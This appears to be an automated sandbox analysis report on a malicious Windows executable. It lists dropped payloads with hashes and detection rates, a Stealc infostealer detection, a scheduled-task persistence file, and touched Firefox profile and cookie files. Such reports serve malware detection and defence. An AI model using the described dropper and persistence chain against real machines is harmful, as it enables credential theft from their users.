SSDEEP:	49152:vYv5z1zDZeVTz5VTmmGkADB6bn9ImIO53GFgFgANX:o59udFmmvADBwim72
MD5:	43DEAE52C429449144C488C4EA074C14
SHA1:	2496E112CF08E1584A15D65409D84936F3C8B7F9
SHA-256:	BD4BEFF45C77E1045BD78A72E0DBD8700F18D088A57CE444EB2B8A5422035BBF
SHA-512:	F892CCC0112A9910BB1F8E391304890B1D2D8F77D7AB6428DE2C6A8CAA554EE979DCEE531ACC95944942914ED503A459F29691BE24AE73CB440F3480A9969DB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......0r...........@..........................`r......T!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...fozyxqhw.....`X.....................@...gnsdcfju..... r......@ .............@....taggant.0...0r.."...F .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584675397091212
Encrypted:	false
SSDEEP:	12288:JqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TT:JqDEvCTbMWu7rQYlBQcBiT6rprG8abT
MD5:	CD6AD64420E0649DD184452AC6482A48
SHA1:	74074B5F08137389C4A709CBDFF7A041A76D19CC
SHA-256:	9117394486AE8F394F5CEDD8280AC81D48D51EDFDC4EBF9B131A10894D51235E
SHA-512:	781D4EDE0F408B7BE97CDC51E11077D5918B884BE3AC37D3FCDE121F9B5F7BDE0BFD41CEDD450C37B0CA1F0D5152F9F54B867609F4C3727BA96560A9E0197954
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....$g.........."..........X......w.............@..........................`.......F....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003039001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.951043690046525
Encrypted:	false
SSDEEP:	49152:8O7K2JRtHjcdUiBUhG6Z9ZPZVVx7rReylEcaSD2J:8O7e2DZ9ZPHV5NlqSS
MD5:	90B5CA2B241FF38DBFC264A0488E212F
SHA1:	A64A8793E0058DA2C039198EF7AB29B4619F3149
SHA-256:	495B9CCA6F1D524B9EFBD157279B026020746FE330D8152B1CCFF906D7F90DC2
SHA-512:	6CA18001812C43C4104785C886E18098AEC84DF4136E7E3EED9821F01D50E3EF8E2FF234AB71D16AEF717A22297769819738A137BB602D1E8E337744AE605B83
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. N...........@..........................PN...........@.................................W...k.......D.....................N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p,.........................@...qodksccb..... 3.....................@...reojqbkz......N.....................@....taggant.0... N.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9XHYSBI0DT1C8ABJDSO.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2750464
Entropy (8bit):	6.536001737462414
Encrypted:	false
SSDEEP:	49152:OKevjf+az5WodEPVdQBrU59ILmSJ09+SQT4uLy:OKevD95WoS8raILmY0MHI
MD5:	ACFD594BD16156E07DD4171BB881F5A8
SHA1:	B1D15BCD855AAC07C822A83F55AFB663E1C25745
SHA-256:	3BBAC103F7BD9F0154ABFA590DE6DE5AE4A35C4A33D900249930C6A74806BF23
SHA-512:	959ADAC7A617939982B09DE1D715F545EFD71E40D1A3DE4D21FF8FD1B840624390C7F213ADCDCC155301AE29FC716EA36CFFC5F1AEE6B3F8F179FEEAF013BD83
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`.. ...`....@.. .............................!....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...itokqeos..).......)..:..............@...vqtnthmp. ...@.......).............@....taggant.@...`*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.951043690046525
Encrypted:	false
SSDEEP:	49152:8O7K2JRtHjcdUiBUhG6Z9ZPZVVx7rReylEcaSD2J:8O7e2DZ9ZPHV5NlqSS
MD5:	90B5CA2B241FF38DBFC264A0488E212F
SHA1:	A64A8793E0058DA2C039198EF7AB29B4619F3149
SHA-256:	495B9CCA6F1D524B9EFBD157279B026020746FE330D8152B1CCFF906D7F90DC2
SHA-512:	6CA18001812C43C4104785C886E18098AEC84DF4136E7E3EED9821F01D50E3EF8E2FF234AB71D16AEF717A22297769819738A137BB602D1E8E337744AE605B83
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. N...........@..........................PN...........@.................................W...k.......D.....................N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p,.........................@...qodksccb..... 3.....................@...reojqbkz......N.....................@....taggant.0... N.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2750464
Entropy (8bit):	6.536001737462414
Encrypted:	false
SSDEEP:	49152:OKevjf+az5WodEPVdQBrU59ILmSJ09+SQT4uLy:OKevD95WoS8raILmY0MHI
MD5:	ACFD594BD16156E07DD4171BB881F5A8
SHA1:	B1D15BCD855AAC07C822A83F55AFB663E1C25745
SHA-256:	3BBAC103F7BD9F0154ABFA590DE6DE5AE4A35C4A33D900249930C6A74806BF23
SHA-512:	959ADAC7A617939982B09DE1D715F545EFD71E40D1A3DE4D21FF8FD1B840624390C7F213ADCDCC155301AE29FC716EA36CFFC5F1AEE6B3F8F179FEEAF013BD83
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`.. ...`....@.. .............................!....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...itokqeos..).......)..:..............@...vqtnthmp. ...@.......).............@....taggant.@...`*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2750464
Entropy (8bit):	6.536001737462414
Encrypted:	false
SSDEEP:	49152:OKevjf+az5WodEPVdQBrU59ILmSJ09+SQT4uLy:OKevD95WoS8raILmY0MHI
MD5:	ACFD594BD16156E07DD4171BB881F5A8
SHA1:	B1D15BCD855AAC07C822A83F55AFB663E1C25745
SHA-256:	3BBAC103F7BD9F0154ABFA590DE6DE5AE4A35C4A33D900249930C6A74806BF23
SHA-512:	959ADAC7A617939982B09DE1D715F545EFD71E40D1A3DE4D21FF8FD1B840624390C7F213ADCDCC155301AE29FC716EA36CFFC5F1AEE6B3F8F179FEEAF013BD83
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`.. ...`....@.. .............................!....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...itokqeos..).......)..:..............@...vqtnthmp. ...@.......).............@....taggant.@...`*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.951043690046525
Encrypted:	false
SSDEEP:	49152:8O7K2JRtHjcdUiBUhG6Z9ZPZVVx7rReylEcaSD2J:8O7e2DZ9ZPHV5NlqSS
MD5:	90B5CA2B241FF38DBFC264A0488E212F
SHA1:	A64A8793E0058DA2C039198EF7AB29B4619F3149
SHA-256:	495B9CCA6F1D524B9EFBD157279B026020746FE330D8152B1CCFF906D7F90DC2
SHA-512:	6CA18001812C43C4104785C886E18098AEC84DF4136E7E3EED9821F01D50E3EF8E2FF234AB71D16AEF717A22297769819738A137BB602D1E8E337744AE605B83
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. N...........@..........................PN...........@.................................W...k.......D.....................N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p,.........................@...qodksccb..... 3.....................@...reojqbkz......N.....................@....taggant.0... N.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	12849
Entropy (8bit):	5.456584630001174
Encrypted:	false
SSDEEP:	192:MnTFTRRUYbBp6ALZNMGaXG6qU4ty+/3/79jg5RYiNBw8dJSl:OKeRFNM5wyCOdw80
MD5:	B9AFA01C866A6B06244FDB9DF21CAD49
SHA1:	E4D6A0E2ADAB8ED52136A974DDCF2DFDEC9DCC87
SHA-256:	0C9FA0FBBCE975B9586D8B513DE11ADFCCF4BF3AB4C1E8684A039864D93BA7EA
SHA-512:	EE8A3D43B905CBB222C685C19C4A6EE3DE2B41BAFE5A99BF5999B6E02DEDB0B935676A64E848E02A0B2DAADB931E268C7DE3D992090C9D873B7E43F562BA9F08
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730422076);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	12849
Entropy (8bit):	5.456584630001174
Encrypted:	false
SSDEEP:	192:MnTFTRRUYbBp6ALZNMGaXG6qU4ty+/3/79jg5RYiNBw8dJSl:OKeRFNM5wyCOdw80
MD5:	B9AFA01C866A6B06244FDB9DF21CAD49
SHA1:	E4D6A0E2ADAB8ED52136A974DDCF2DFDEC9DCC87
SHA-256:	0C9FA0FBBCE975B9586D8B513DE11ADFCCF4BF3AB4C1E8684A039864D93BA7EA
SHA-512:	EE8A3D43B905CBB222C685C19C4A6EE3DE2B41BAFE5A99BF5999B6E02DEDB0B935676A64E848E02A0B2DAADB931E268C7DE3D992090C9D873B7E43F562BA9F08
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730422076);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4635933580402543
Encrypted:	false
SSDEEP:	6:DdbXUhXUEZ+lX1CGdKUe6tE9+AQy0lH/Qct0:Jr4Q1CGAFD9+nVHoct0
MD5:	44F5C38524081909C126C98B6ED40EF4
SHA1:	68A405D5998E04C4381DF30BE85F90B56E4078C2
SHA-256:	9D36E8867EB005B593B8A82C9A43A7C0AD44DAF9566D7E9CA4769FEE4904F3B8
SHA-512:	69126D0B09D861907BE9B0047DADA3F55D8B2D5DDD8DDDCEB7B3C6F74ADCEB238BED0B2AA9C324CB71D5EAAF268BFD61D893AC3C502B1BE07308F3B17E3FAD61
Malicious:	false
Preview:	........2..G.~".....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................'.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.535241995814189
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'955'264 bytes
MD5:	04e39d3bf9bd2b3cdf9809124fc8e25c
SHA1:	923ce593cff9db08cf2990b7513a17875d0dd903
SHA256:	f370ae6a49126a86d98f7f1d3ce1882f660e63873b8152f65feb69367ca843a2
SHA512:	7a46829c2475f6f4beba1cf160329215e5751e65aef3e70196c81b6510169fb57d52c74bdab9b8906b762af4ad8ce63e7de0e725bd5663fc838f65fdbc09fe40
SSDEEP:	49152:DKyxQF5vqLfasZkU6662AMP8j12cAiH1w64g:myxQbvqLBZJX3cVH1w64
TLSH:	31D55B91FA0A71CFD48A77748427CD86586E03FA07190AD3A82DB5FE7EA3CC115B6D24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J........... 0...........@..........................P0......I-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x702000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F60A4DD438Ah
psadbw mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F60A4DD6385h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
